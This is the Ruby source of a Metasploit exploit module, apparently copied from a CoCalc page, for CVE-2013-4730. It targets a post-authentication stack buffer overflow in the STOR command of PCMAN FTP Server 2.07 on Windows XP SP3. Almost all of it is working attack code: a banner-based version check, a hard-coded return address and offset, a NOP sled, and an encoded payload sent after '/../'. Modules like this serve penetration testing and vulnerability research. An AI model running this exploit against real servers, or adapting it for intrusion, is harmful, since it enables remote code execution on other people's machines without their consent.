CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::Remote::Ftp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow',
14
      'Description'    => %q{
15
          This module exploits a buffer overflow vulnerability found in the STOR command of the
16
          PCMAN FTP v2.07 Server when the "/../" parameters are also sent to the server. Please
17
          note authentication is required in order to trigger the vulnerability. The overflowing
18
          string will also be seen on the FTP server log console.
19
      },
20
      'Author'         =>
21
          [
22
            'Christian (Polunchis) Ramirez', # Initial Discovery
23
            'Rick (nanotechz9l) Flores'      # Metasploit Module
24
          ],
25
      'License'        => MSF_LICENSE,
26
      'References'     =>
27
        [
28
          [ 'CVE', '2013-4730' ],
29
          [ 'OSVDB', '94624'],
30
          [ 'EDB',   '27703']
31
        ],
32
      'DefaultOptions' =>
33
        {
34
          'EXITFUNC' => 'process',
35
          'VERBOSE'  => true
36
        },
37
      'Payload'        =>
38
        {
39
          'Space'   => 1000,
40
          'BadChars'  => "\x00\xff\x0a\x0d\x20\x40",
41
        },
42
      'Platform'       => 'win',
43
      'Targets'        =>
44
        [
45
          [ 'Windows XP SP3 English',
46
            {
47
              'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
48
              'Offset' => 2011
49
            }
50
          ],
51
        ],
52
      'DisclosureDate' => '2013-06-27',
53
      'DefaultTarget'  => 0))
54
  end
55

56
  def post_auth?
57
    true
58
  end
59

60
  def check
61
    c = connect_login
62
    disconnect
63

64
    if c and banner =~ /220 PCMan's FTP Server 2\.0/
65
      # Auth is required to exploit
66
      vprint_status("Able to authenticate, and banner shows the vulnerable version")
67
      return Exploit::CheckCode::Appears
68
    elsif not c and banner =~ /220 PCMan's FTP Server 2\.0/
69
      vprint_status("Unable to authenticate, but banner shows the vulnerable version")
70
      # Auth failed, but based on version maybe the target is vulnerable
71
      return Exploit::CheckCode::Appears
72
    end
73

74
    return Exploit::CheckCode::Safe
75
  end
76

77

78
  def exploit
79
    c = connect_login
80

81
    # Auth failed. The mixin should show the error, so we just bail.
82
    return unless c
83

84
    # Username is part of the overflowing string, so we need to account for that length
85
    user_length = datastore['FTPUSER'].to_s.length
86

87
    print_status("Trying victim #{target.name}...")
88
    sploit = rand_text_alpha(target['Offset'] - user_length)
89
    sploit << [target.ret].pack('V')
90
    sploit << make_nops(4)
91
    sploit << payload.encoded
92
    sploit << rand_text_alpha(sploit.length)
93

94
    send_cmd( ["STOR", "/../" + sploit], false )
95
    disconnect
96
  end
97
end
98

99